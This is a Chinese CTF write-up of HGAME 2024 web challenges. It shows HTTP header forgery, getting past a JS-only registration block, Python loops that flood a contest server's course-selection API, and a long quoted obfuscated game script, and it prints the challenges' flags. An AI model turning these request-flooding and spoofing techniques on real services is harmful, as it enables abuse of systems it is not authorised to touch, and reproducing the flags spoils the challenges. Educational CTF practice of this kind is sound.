HGAME2024-web&misc-wp By.Starven

发布于 2024-03-15  17 次阅读


WEEk1

web-ezhttp

考点

  • http协议伪造

分析

伪造referer: image.png

伪造ua头: image.png

伪造ip: image.png

image.png

从jwt得到flag: image.png

flag

拿去解码得到flag:

{"F14g":"hgame{HTTP_!s_1mP0rT4nt}"}

web-Bypass it

考点

  • 前端禁用

分析

注册被进制,但是是前端禁的,禁用js即可

image.png
image.png
image.png

flag

登陆进去得到flag

hgame{32963bf804322e48e1a328d491d5efeb7aad2703}

web-selected course

考点

  • js代码审计
  • 脚本能力

分析

image.png

目标就是在已满的课程中抢课

不过模拟的环境应该是每过一段时间有学生退课然后就可以抢到了

js代码审计

<script>
function togglePanelInfoContainer(panel) {
  var panelInfoContainer = panel.querySelector(".panel-info-container");
  if (panelInfoContainer.classList.contains("display-flex")) {
    panelInfoContainer.classList.remove("display-flex");
    panelInfoContainer.classList.add("display-none");
  } else {
    panelInfoContainer.classList.remove("display-none");
    panelInfoContainer.classList.add("display-flex");
  }
}
async function getCourses() {
  try {
    const response = await fetch('/api/courses');
    const data = await response.json();
    renderCourses(data.message);
  } catch (error) {
    console.log(error);
  }
}
function renderCourses(courses) {
  const selectorContainer = document.getElementById('selector-container');
  courses.forEach(course => {
    const section = document.createElement('section');
    section.className = 'panel im-container';
    section.setAttribute('data-id', course.id);
    const panelHeader = document.createElement('div');
    panelHeader.className = `
      panel-header
      ${course.status ? 'selected' : 'to-select'}
    `;
    panelHeader.onclick = function() {
      togglePanelInfoContainer(this.parentNode);
    };
    const panelText = document.createElement('p');
    panelText.className = 'panel-text';
    panelText.innerHTML = `
      <span>${course.descrption} 状态:</span>
      <span>${course.status ? '已选' : '未选'}</span>
    `;
    panelHeader.appendChild(panelText);
    const panelInfoContainer = document.createElement('div');
    panelInfoContainer.className = 'panel-info-container display-none';
    const table = document.createElement('table');
    const thead = document.createElement('thead');
    thead.innerHTML = `
      <tr>
        <th>课程名称</th>
        <th>课程性质</th>
        <th>上课时间</th>
        <th>教学地点</th>
        <th>已选/容量</th>
        <th>操作</th>
      </tr>
    `;
    const tbody = document.createElement('tbody');
    const row = document.createElement('tr');
    row.innerHTML = `
      <td>${course.name}</td>
      <td>${course.sort}</td>
      <td>${course.time}</td>
      <td>${course.location}</td>
      <td>${course.is_full ? '已满' : '未满'}</td>
      <td>
        <button class="selector-button ${course.status ? 'selected-button' : 'wait-select-button'}" onclick="selectCourse(${course.id})">${course.status ? '已选' : '选课'}</button>
      </td>
    `;
    tbody.appendChild(row);
    table.appendChild(thead);
    table.appendChild(tbody);
    panelInfoContainer.appendChild(table);
    section.appendChild(panelHeader);
    section.appendChild(panelInfoContainer);
    selectorContainer.appendChild(section);
  });
}
async function selectCourse(id) {
  try {
    const response = await fetch('/api/courses', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        "id": id
      })
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
async function TellAgu() {
  try {
    const response = await fetch('/api/ok', {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json'
      }
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
getCourses();
</script>

无疑,最关键的是这两段

async function getCourses() {
  try {
    const response = await fetch('/api/courses');
    const data = await response.json();
    renderCourses(data.message);
  } catch (error) {
    console.log(error);
  }
}
async function selectCourse(id) {
  try {
    const response = await fetch('/api/courses', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        "id": id
      })
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
async function TellAgu() {
  try {
    const response = await fetch('/api/ok', {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json'
      }
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}

可以看到获取选课信息和抢课都是/api/courses接口

获取状态信息是api/ok接口

编写python脚本抢课

最简易的:手动在选课界面刷新看成功没有

import requests
import json

url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
while True:
    for i in range(1,6):
        post_url = f"{url}/api/courses"
        payload={'id':i}
        post_res = requests.post(post_url,headers=headers,json=payload)
        print(post_res)

稍作优化:

import requests
import json

url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
info = json.loads(requests.get(url='http://47.100.245.185:30168/api/courses').text)['message']

i=1

while True:
    for j in range(1,6):
        post_url = f"{url}/api/courses"
        payload={'id':j}
        print('course'+str(j)+':'+str(info[j-1]['status']))
        post_res = requests.post(post_url,headers=headers,json=payload)
        #print(post_res)
    print("第"+str(i)+"轮选课结束\n")
    i=i+1
image.png

flag

hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}

web-2048* 16

考点

  • js代码审计
  • js代码修改如何生效?

分析

目标很明确,达到指定分数即可

image.png

js代码审计

f12被ban,浏览器找到更多工具-->开发者工具

点击右处跳过全部代码,进入关键代码审计 [[#关键代码]]

function q() {
    const x = ["return (function() ", "51rDvFsO", "280bIrfll", "crossOrigin", "debu", "5573704jgYESE", "526422EOMPDB", "19pdzydt", "70220etHPRV", "26502443qIuDbf", '{}.constructor("return this")( )', "type", "string", "172742zcyDzi", "tagName", "include", "link", "LINK", "same-origin", "test", "function *\\( *\\)", "apply", "init", "386856yRDrIu", "addedNodes", 'link[rel="modulepreload"]', "length", "input", "stateObject", "modulepreload", "relList", "createElement", "supports", "10594465MEmbDB", "5JjJNqT", "setInterval", "querySelectorAll", "referrerPolicy", "credentials", "gger", "anonymous", "integrity", "observe", "action", "use-credentials", "constructor", "omit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)"];
    return q = function() {
        return x
    }
    ,
    q()
}
(function(x, n) {
    const e = z
      , t = x();
    for (; ; )
        try {
            if (-parseInt(e(285)) / 1 * (-parseInt(e(291)) / 2) + parseInt(e(279)) / 3 * (parseInt(e(286)) / 4) + -parseInt(e(264)) / 5 * (parseInt(e(284)) / 6) + -parseInt(e(263)) / 7 + -parseInt(e(283)) / 8 + -parseInt(e(253)) / 9 * (parseInt(e(280)) / 10) + parseInt(e(287)) / 11 === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(q, -256319 + -5 * -139997 + 7 * 57662),
function() {
    const x = z;
    let n;
    try {
        n = Function(x(278) + x(288) + ");")()
    } catch {
        n = window
    }
    n[x(265)](V, 9793 + -977 * 9)
}(),
function() {
    const n = z
      , e = function() {
        let o = !0;
        return function(c, i) {
            const f = o ? function() {
                const b = z;
                if (i) {
                    const s = i[b(251)](c, arguments);
                    return i = null,
                    s
                }
            }
            : function() {}
            ;
            return o = !1,
            f
        }
    }()
      , t = document[n(261)](n(294))[n(260)];
    if (t && t[n(262)] && t[n(262)](n(259)))
        return;
    for (const o of document[n(266)](n(255)))
        a(o);
    new MutationObserver(o=>{
        const c = n;
        for (const i of o)
            if (i[c(289)] === "childList")
                for (const f of i[c(254)])
                    f[c(292)] === c(295) && f.rel === c(259) && a(f)
    }
    )[n(272)](document, {
        childList: !0,
        subtree: !0
    });
    function r(o) {
        const c = n
          , i = {};
        return o[c(271)] && (i.integrity = o[c(271)]),
        o[c(267)] && (i[c(267)] = o[c(267)]),
        o[c(281)] === c(274) ? i.credentials = c(293) : o.crossOrigin === c(270) ? i[c(268)] = c(276) : i[c(268)] = c(296),
        i
    }
    function a(o) {
        if (function() {
            e(this, function() {
                const i = z
                  , f = new RegExp(i(250))
                  , b = new RegExp(i(277),"i")
                  , s = V(i(252));
                !f[i(249)](s + "chain") || !b[i(249)](s + i(257)) ? s("0") : V()
            })()
        }(),
        o.ep)
            return;
        o.ep = !0;
        const c = r(o);
        fetch(o.href, c)
    }
}();
function z(x, n) {
    const e = q();
    return z = function(t, r) {
        return t = t - (-109 * -23 + -6806 + 4548),
        e[t]
    }
    ,
    z(x, n)
}
function V(x) {
    function n(e) {
        const t = z;
        if (typeof e === t(290))
            return (function(r) {}
            )[t(275)]("while (true) {}")[t(251)]("counter");
        ("" + e / e)[t(256)] !== 3561 + 712 * -5 || e % (10 * 929 + 676 + 4973 * -2) === 8536 + -1 * 5 + -1 * 8531 ? (function() {
            return !0
        }
        )[t(275)](t(282) + t(269)).call(t(273)) : (function() {
            return !1
        }
        )[t(275)]("debu" + t(269))[t(251)](t(258)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(599 * -15 + 8263 * 1 + 722)
    } catch {}
}
function B() {
    var x = ["9LlsUAf", "6615190CZtzht", "action", "2SIEKZa", "input", "chain", "1839108xhNjEQ", "init", "constructor", "apply", "function *\\( *\\)", "stateObject", "length", "string", "return (function() ", "counter", "81IqYNDO", "setInterval", "380617hQAZKq", "5419190eBGzuu", "test", "gger", "634120aohGbc", "prototype", "44PVAEyQ", "debu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "call", '{}.constructor("return this")( )', "914838PEvTmP", "4634546zPjRug", "bind"];
    return B = function() {
        return x
    }
    ,
    B()
}
function A(x, n) {
    var e = B();
    return A = function(t, r) {
        t = t - (4285 * 1 + 5277 + -9265);
        var a = e[t];
        return a
    }
    ,
    A(x, n)
}
var Q = A;
(function(x, n) {
    for (var e = A, t = x(); ; )
        try {
            var r = parseInt(e(323)) / 1 * (parseInt(e(308)) / 2) + parseInt(e(305)) / 3 * (-parseInt(e(311)) / 4) + -parseInt(e(324)) / 5 + parseInt(e(302)) / 6 + -parseInt(e(303)) / 7 + -parseInt(e(327)) / 8 * (-parseInt(e(321)) / 9) + -parseInt(e(306)) / 10 * (-parseInt(e(297)) / 11);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(B, 10751 * -125 + 1236271 * -1 + 50 * 66949),
function() {
    var x = A, n;
    try {
        var e = Function(x(319) + x(301) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(322)](t0, 9 * 189 + 9223 * -1 + 8522)
}();
var o0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = A;
            if (e) {
                var a = e[r(314)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    o0(this, function() {
        var x = A
          , n = new RegExp(x(315))
          , e = new RegExp(x(299),"i")
          , t = t0(x(312));
        !n[x(325)](t + x(310)) || !e[x(325)](t + x(309)) ? t("0") : t0()
    })()
}
)(),
Function.prototype[Q(304)] = Function[Q(328)][Q(304)] || function(x) {
    var n = this;
    return function(e) {
        var t = A;
        !(e instanceof Array) && (e = [e]),
        n[t(314)](x, e)
    }
}
;
function t0(x) {
    function n(e) {
        var t = A;
        if (typeof e === t(318))
            return (function(r) {}
            )[t(313)]("while (true) {}")[t(314)](t(320));
        ("" + e / e)[t(317)] !== -5356 + 373 * 23 + 1 * -3222 || e % (6562 + 2 * -3208 + -126) === -4243 + -1 * -4243 ? (function() {
            return !0
        }
        )[t(313)]("debu" + t(326))[t(300)](t(307)) : (function() {
            return !1
        }
        )[t(313)](t(298) + t(326)).apply(t(316)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-579 * -5 + 8573 * -1 + 5678)
    } catch {}
}
function G() {
    var x = ["return (function() ", "split", "toString", "defineProperty", "function *\\( *\\)", "contains", "1704196bMgWxW", "add", "setInterval", "apply", "call", "replace", "classList", "1269978Xzqbcj", "42zqXkFW", "init", "push", "input", "remove", "join", "debu", "gger", "className", "2346057LJZzHm", "while (true) {}", "constructor", '{}.constructor("return this")( )', "50806860EEqONn", "action", "__defineGetter__", "DOMTokenList", "test", "string", "prototype", "length", "1143075VSCewc", "splice", "843116UUCRvQ", "135YrtGzY", "indexOf", "30AgjxaK", "undefined", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "Element", "chain", "703568zlpkPs"];
    return G = function() {
        return x
    }
    ,
    G()
}
function w(x, n) {
    var e = G();
    return w = function(t, r) {
        t = t - 137;
        var a = e[t];
        return a
    }
    ,
    w(x, n)
}
(function(x, n) {
    for (var e = w, t = x(); ; )
        try {
            var r = parseInt(e(151)) / 1 + -parseInt(e(168)) / 2 + -parseInt(e(139)) / 3 + -parseInt(e(153)) / 4 * (parseInt(e(156)) / 5) + parseInt(e(175)) / 6 * (-parseInt(e(176)) / 7) + -parseInt(e(161)) / 8 * (parseInt(e(154)) / 9) + parseInt(e(143)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(G, -3 * 399277 + 91961 + 920836 * 2),
function() {
    var x = w
      , n = function() {
        var i = !0;
        return function(f, b) {
            var s = i ? function() {
                var p = w;
                if (b) {
                    var y = b[p(171)](f, arguments);
                    return b = null,
                    y
                }
            }
            : function() {}
            ;
            return i = !1,
            s
        }
    }();
    if (typeof window[x(159)] === x(157) || x(174)in document.documentElement)
        return;
    var e = Array.prototype
      , t = e[x(178)]
      , r = e[x(152)]
      , a = e[x(181)];
    function o(i) {
        var f = x;
        this.el = i;
        for (var b = i[f(138)][f(173)](/^\s+|\s+$/g, "")[f(163)](/\s+/), s = 0; s < b[f(150)]; s++)
            t[f(172)](this, b[s])
    }
    o[x(149)] = {
        add: function(i) {
            var f = x;
            this[f(167)](i) || (t[f(172)](this, i),
            this.el.className = this[f(164)]())
        },
        contains: function(i) {
            var f = x;
            return this.el[f(138)][f(155)](i) != -1
        },
        item: function(i) {
            return this[i] || null
        },
        remove: function(i) {
            var f = x;
            if (this[f(167)](i)) {
                for (var b = 0; b < this.length && this[b] != i; b++)
                    ;
                r[f(172)](this, b, 2 * -348 + -7029 + 2 * 3863),
                this.el[f(138)] = this.toString()
            }
        },
        toString: function() {
            var i = x;
            return a[i(172)](this, " ")
        },
        toggle: function(i) {
            var f = x;
            return this.contains(i) ? this[f(180)](i) : this[f(169)](i),
            this[f(167)](i)
        }
    },
    window[x(146)] = o;
    function c(i, f, b) {
        var s = x;
        (function() {
            n(this, function() {
                var p = w
                  , y = new RegExp(p(166))
                  , R = new RegExp(p(158),"i")
                  , Y = W(p(177));
                !y[p(147)](Y + p(160)) || !R[p(147)](Y + p(179)) ? Y("0") : W()
            })()
        }
        )(),
        Object[s(165)] ? Object.defineProperty(i, f, {
            get: b
        }) : i[s(145)](f, b)
    }
    c(HTMLElement[x(149)], x(174), function() {
        return new o(this)
    })
}(),
function() {
    var x = w
      , n = function() {
        var t = w, r;
        try {
            r = Function(t(162) + t(142) + ");")()
        } catch {
            r = window
        }
        return r
    }
      , e = n();
    e[x(170)](W, 2367 + 1 * -1367)
}();
function W(x) {
    function n(e) {
        var t = w;
        if (typeof e === t(148))
            return (function(r) {}
            ).constructor(t(140))[t(171)]("counter");
        ("" + e / e)[t(150)] !== 16487 + 1 * -16486 || e % (-3141 + -1281 * -5 + -4 * 811) === 0 ? (function() {
            return !0
        }
        )[t(141)](t(182) + "gger")[t(172)](t(144)) : (function() {
            return !1
        }
        )[t(141)]("debu" + t(137)).apply("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-8778 + -3 * -198 + 8184)
    } catch {}
}
function C(x, n) {
    var e = K();
    return C = function(t, r) {
        t = t - (-8611 + 1 * -5493 + -111 * -129);
        var a = e[t];
        return a
    }
    ,
    C(x, n)
}
(function(x, n) {
    for (var e = C, t = x(); ; )
        try {
            var r = -parseInt(e(225)) / 1 + -parseInt(e(227)) / 2 * (-parseInt(e(235)) / 3) + -parseInt(e(216)) / 4 * (-parseInt(e(241)) / 5) + -parseInt(e(233)) / 6 + parseInt(e(246)) / 7 + parseInt(e(243)) / 8 + -parseInt(e(236)) / 9;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(K, -1 * 111745 + -168643 * -1 + 52114),
function() {
    var x = C
      , n = function() {
        var a = !0;
        return function(o, c) {
            var i = a ? function() {
                var f = C;
                if (c) {
                    var b = c[f(231)](o, arguments);
                    return c = null,
                    b
                }
            }
            : function() {}
            ;
            return a = !1,
            i
        }
    }();
    (function() {
        n(this, function() {
            var a = C
              , o = new RegExp(a(226))
              , c = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
              , i = e0("init");
            !o[a(221)](i + a(234)) || !c[a(221)](i + a(230)) ? i("0") : e0()
        })()
    }
    )();
    for (var e = 898 * -10 + -4777 + -1 * -13757, t = ["webkit", x(237)], r = 11 * -523 + 2041 * -2 + -9835 * -1; r < t[x(215)] && !window.requestAnimationFrame; ++r)
        window[x(219)] = window[t[r] + x(245)],
        window.cancelAnimationFrame = window[t[r] + x(238)] || window[t[r] + x(249)];
    !window[x(219)] && (window.requestAnimationFrame = function(a) {
        var o = x
          , c = new Date()[o(217)]()
          , i = Math[o(228)](601 * -4 + 5 * -34 + -99 * -26, -5571 + 151 * 37 - (c - e))
          , f = window[o(244)](function() {
            a(c + i)
        }, i);
        return e = c + i,
        f
    }
    ),
    !window[x(229)] && (window[x(229)] = function(a) {
        clearTimeout(a)
    }
    )
}();
function K() {
    var x = ["70115vpPusE", "function *\\( *\\)", "6rsOtNX", "max", "cancelAnimationFrame", "input", "apply", "counter", "1239498Ejodmk", "chain", "145881ZODJcX", "258201rhRaGw", "moz", "CancelAnimationFrame", "action", "setInterval", "7045XIVanM", "debu", "896440ALmBrn", "setTimeout", "RequestAnimationFrame", "769762NphSHl", "gger", "constructor", "CancelRequestAnimationFrame", "length", "132gYoVxA", "getTime", "while (true) {}", "requestAnimationFrame", "call", "test", '{}.constructor("return this")( )', "stateObject", "return (function() "];
    return K = function() {
        return x
    }
    ,
    K()
}
function e0(x) {
    function n(e) {
        var t = C;
        if (typeof e == "string")
            return (function(r) {}
            )[t(248)](t(218))[t(231)](t(232));
        ("" + e / e)[t(215)] !== -4551 * -1 + 7 * 643 + -9051 || e % (-262 * -5 + -1150 * 1 + -140) === 704 + 1 * -9830 + 18 * 507 ? (function() {
            return !0
        }
        )[t(248)](t(242) + t(247))[t(220)](t(239)) : (function() {
            return !1
        }
        )[t(248)]("debu" + t(247)).apply(t(223)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1747 * -5 + -3714 + 5021 * -1)
    } catch {}
}
(function() {
    var x = C, n;
    try {
        var e = Function(x(224) + x(222) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(240)](e0, 67 * 105 + 1 * -2510 + -3525 * 1)
}
)();
function S(x, n) {
    var e = L();
    return S = function(t, r) {
        t = t - (-37 + -14 * -23);
        var a = e[t];
        return a
    }
    ,
    S(x, n)
}
var m = S;
(function(x, n) {
    for (var e = S, t = x(); ; )
        try {
            var r = parseInt(e(302)) / 1 + -parseInt(e(304)) / 2 + -parseInt(e(329)) / 3 * (-parseInt(e(341)) / 4) + parseInt(e(342)) / 5 + -parseInt(e(335)) / 6 + -parseInt(e(314)) / 7 * (parseInt(e(287)) / 8) + parseInt(e(313)) / 9 * (parseInt(e(316)) / 10);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(L, 485449 + -76157 * 11 + 771520);
var f0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = S;
            if (e) {
                var a = e[r(319)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    f0(this, function() {
        var x = S
          , n = new RegExp(x(299))
          , e = new RegExp(x(339),"i")
          , t = n0("init");
        !n[x(285)](t + x(296)) || !e[x(285)](t + x(288)) ? t("0") : n0()
    })()
}
)();
function k() {
    var x = S;
    this.events = {},
    window.navigator[x(291)] ? (this.eventTouchstart = x(323),
    this[x(332)] = x(307),
    this.eventTouchend = "MSPointerUp") : (this[x(318)] = x(326),
    this[x(332)] = x(345),
    this.eventTouchend = x(328)),
    this[x(348)]()
}
function L() {
    var x = ["clientX", "MSPointerDown", "push", ".retry-button", "touchstart", "preventDefault", "touchend", "75eegQJU", "length", "eventTouchend", "eventTouchmove", "touches", "targetTouches", "3001158EZLWmg", "which", "restart", "emit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "navigator", "17048CopiKL", "1874920nvbdip", "keydown", ".keep-playing-button", "touchmove", "string", "changedTouches", "listen", "test", '{}.constructor("return this")( )', "1431568bfoJpP", "input", "while (true) {}", "events", "msPointerEnabled", "keepPlaying", "setInterval", "addEventListener", "pageX", "chain", "action", "pageY", "function *\\( *\\)", "debu", "clientY", "717081qeHHls", "metaKey", "454404jxpplW", "counter", "call", "MSPointerMove", "game-container", "return (function() ", "gger", "bindButtonPress", "ctrlKey", "126AXFuSy", "14CoizGI", "constructor", "218510vtkZcF", "bind", "eventTouchstart", "apply", "prototype", "querySelector"];
    return L = function() {
        return x
    }
    ,
    L()
}
(function() {
    var x = S, n;
    try {
        var e = Function(x(309) + x(286) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(293)](n0, 1e3)
}
)(),
k[m(320)].on = function(x, n) {
    var e = m;
    !this[e(290)][x] && (this[e(290)][x] = []),
    this[e(290)][x][e(324)](n)
}
,
k.prototype.emit = function(x, n) {
    var e = this.events[x];
    e && e.forEach(function(t) {
        t(n)
    })
}
,
k.prototype.listen = function() {
    var x = m
      , n = this
      , e = {
        38: 0,
        39: 1,
        40: 2,
        37: 3,
        75: 0,
        76: 1,
        74: 2,
        72: 3,
        87: 0,
        68: 1,
        83: 2,
        65: 3
    };
    document[x(294)](x(343), function(o) {
        var c = x
          , i = o.altKey || o[c(312)] || o[c(303)] || o.shiftKey
          , f = e[o[c(336)]];
        !i && f !== void 0 && (o[c(327)](),
        n[c(338)]("move", f)),
        !i && o[c(336)] === 1 * -2163 + -3691 + 8 * 742 && n[c(337)].call(n, o)
    }),
    this[x(311)](x(325), this[x(337)]),
    this[x(311)](".restart-button", this.restart),
    this[x(311)](x(344), this.keepPlaying);
    var t, r, a = document.getElementsByClassName(x(308))[7181 + 43 * -167];
    a.addEventListener(this.eventTouchstart, function(o) {
        var c = x;
        !window[c(340)][c(291)] && o.touches.length > 7033 + 10 * -542 + -1612 || o[c(334)][c(330)] > 3004 + -13 * 231 || (window[c(340)][c(291)] ? (t = o[c(295)],
        r = o[c(298)]) : (t = o[c(333)][181 * 54 + 9738 + -9756 * 2].clientX,
        r = o[c(333)][-2910 + 15 * 62 + 180 * 11][c(301)]),
        o[c(327)]())
    }),
    a[x(294)](this[x(332)], function(o) {
        o.preventDefault()
    }),
    a[x(294)](this[x(331)], function(o) {
        var c = x;
        if (!(!window[c(340)][c(291)] && o[c(333)].length > 256 + -1 * -6271 + -61 * 107 || o[c(334)][c(330)] > 0)) {
            var i, f;
            window[c(340)][c(291)] ? (i = o[c(295)],
            f = o[c(298)]) : (i = o[c(347)][-2280 + 570 * 4][c(322)],
            f = o[c(347)][29 * 79 + 3 * -1868 + 1 * 3313].clientY);
            var b = i - t
              , s = Math.abs(b)
              , p = f - r
              , y = Math.abs(p);
            Math.max(s, y) > 25 * -265 + -675 + 170 * 43 && n[c(338)]("move", s > y ? b > 0 ? -7662 + -97 * -79 : -45 * 25 + 8557 + 17 * -437 : p > 16 * -159 + 2 * 490 + -17 * -92 ? -10033 + 669 * 15 : 1617 + 1 * -4601 + 2984)
        }
    })
}
,
k.prototype[m(337)] = function(x) {
    var n = m;
    x[n(327)](),
    this[n(338)](n(337))
}
,
k[m(320)][m(292)] = function(x) {
    var n = m;
    x[n(327)](),
    this.emit(n(292))
}
,
k.prototype[m(311)] = function(x, n) {
    var e = m
      , t = document[e(321)](x);
    t[e(294)]("click", n[e(317)](this)),
    t[e(294)](this[e(331)], n[e(317)](this))
}
;
function n0(x) {
    function n(e) {
        var t = S;
        if (typeof e === t(346))
            return (function(r) {}
            )[t(315)](t(289))[t(319)](t(305));
        ("" + e / e)[t(330)] !== 5053 * 1 + 8725 + -13777 || e % 20 === 6723 + -9 * 747 ? (function() {
            return !0
        }
        )[t(315)](t(300) + "gger")[t(306)](t(297)) : (function() {
            return !1
        }
        )[t(315)]("debu" + t(310))[t(319)]("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1762 * -4 + 9094 + -16142)
    } catch {}
}
var h = F;
(function(x, n) {
    for (var e = F, t = x(); ; )
        try {
            var r = -parseInt(e(470)) / 1 + -parseInt(e(466)) / 2 + parseInt(e(487)) / 3 * (parseInt(e(430)) / 4) + parseInt(e(446)) / 5 + parseInt(e(493)) / 6 + -parseInt(e(431)) / 7 + parseInt(e(451)) / 8;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)($, -1 * -639371 + -997 * 937 + 896117 * 1);
var u0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = F;
            if (e) {
                var a = e[r(467)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    u0(this, function() {
        var x = F
          , n = new RegExp(x(485))
          , e = new RegExp(x(475),"i")
          , t = r0(x(471));
        !n.test(t + x(450)) || !e.test(t + "input") ? t("0") : r0()
    })()
}
)();
function $() {
    var x = ["debu", "charAt", "game-over", "push", "tile", "3218200jObBXv", "gger", "bestContainer", "firstChild", "chain", "4992592cfFfKg", "updateBestScore", "Game over!", "add", "score-addition", ".best-container", "over", ".tile-container", "scoreContainer", "counter", "clearMessage", "tile-", "tile-merged", "appendChild", "remove", "1457704JdCGrI", "apply", "clearContainer", "message", "1135845OAckHq", "init", "requestAnimationFrame", "addTile", "applyClasses", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "while (true) {}", "call", "length", "querySelector", "indexOf", "string", "div", "tile-new", "function *\\( *\\)", "setInterval", "2589jWZTtI", "updateScore", "class", "createElement", "score", '{}.constructor("return this")( )', "4321134sPxlgc", "stateObject", "positionClass", "action", "terminated", "won", "tile-position-", "constructor", "join", "fromCharCode", "forEach", "textContent", "normalizePosition", "continueGame", "previousPosition", "bestScore", "3224mBKYMJ", "1522395ywebnW", "prototype", ".score-container", "actuate", "getElementsByTagName", "tile-super", "classList", "messageContainer", "I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK", "tileContainer"];
    return $ = function() {
        return x
    }
    ,
    $()
}
function g() {
    var x = F;
    this[x(440)] = document[x(480)](x(458)),
    this[x(459)] = document[x(480)](x(433)),
    this[x(448)] = document[x(480)](x(456)),
    this.messageContainer = document[x(480)](".game-message"),
    this[x(491)] = -4114 * 1 + -1 * 2915 + 7029
}
function F(x, n) {
    var e = $();
    return F = function(t, r) {
        t = t - (-4073 * 1 + 84 * -39 + 7766);
        var a = e[t];
        return a
    }
    ,
    F(x, n)
}
g[h(432)][h(434)] = function(x, n) {
    var e = h
      , t = this;
    window[e(472)](function() {
        var r = e;
        t[r(468)](t[r(440)]),
        x.cells[r(424)](function(a) {
            var o = r;
            a[o(424)](function(c) {
                c && t.addTile(c)
            })
        }),
        t[r(488)](n[r(491)]),
        t[r(452)](n[r(429)]),
        n[r(418)] && (n[r(457)] ? t[r(469)](!1) : n[r(419)] && t[r(469)](!0))
    })
}
,
g.prototype[h(427)] = function() {
    var x = h;
    this[x(461)]()
}
,
g[h(432)][h(468)] = function(x) {
    for (var n = h; x[n(449)]; )
        x.removeChild(x[n(449)])
}
,
g.prototype[h(473)] = function(x) {
    var n = h
      , e = this
      , t = document.createElement(n(483))
      , r = document[n(490)](n(483))
      , a = x[n(428)] || {
        x: x.x,
        y: x.y
    }
      , o = this.positionClass(a)
      , c = [n(445), n(462) + x.value, o];
    x[n(476)] > 2048 && c[n(444)](n(436)),
    this[n(474)](t, c),
    r[n(437)][n(454)]("tile-inner"),
    r[n(425)] = x[n(476)],
    x[n(428)] ? window[n(472)](function() {
        var i = n;
        c[4313 + 1 * -1761 + -2550] = e[i(495)]({
            x: x.x,
            y: x.y
        }),
        e[i(474)](t, c)
    }) : x.mergedFrom ? (c[n(444)](n(463)),
    this[n(474)](t, c),
    x.mergedFrom[n(424)](function(i) {
        var f = n;
        e[f(473)](i)
    })) : (c[n(444)](n(484)),
    this.applyClasses(t, c)),
    t[n(464)](r),
    this[n(440)][n(464)](t)
}
,
g[h(432)][h(474)] = function(x, n) {
    var e = h;
    x.setAttribute(e(489), n[e(422)](" "))
}
,
g[h(432)][h(426)] = function(x) {
    return {
        x: x.x + (-2 * -906 + 1171 + 21 * -142),
        y: x.y + (237 * -31 + 3 * 4 + -1834 * -4)
    }
}
,
g[h(432)][h(495)] = function(x) {
    var n = h;
    return x = this[n(426)](x),
    n(420) + x.x + "-" + x.y
}
,
g[h(432)][h(488)] = function(x) {
    var n = h;
    this[n(468)](this[n(459)]);
    var e = x - this[n(491)];
    if (this[n(491)] = x,
    this[n(459)][n(425)] = this[n(491)],
    e > 4659 + -66 * 102 + 2073) {
        var t = document[n(490)]("div");
        t[n(437)][n(454)](n(455)),
        t[n(425)] = "+" + e,
        this.scoreContainer[n(464)](t)
    }
}
,
g.prototype.updateBestScore = function(x) {
    this.bestContainer.textContent = x
}
,
g[h(432)][h(469)] = function(x) {
    var n = h
      , e = x ? "game-won" : n(443)
      , t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
    this[n(438)][n(437)].add(e),
    this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
,
function() {
    var x = h, n;
    try {
        var e = Function("return (function() " + x(492) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(486)](r0, -1633 + -1033 * -6 + -115 * 31)
}(),
g[h(432)][h(461)] = function() {
    var x = h;
    this[x(438)][x(437)].remove("game-won"),
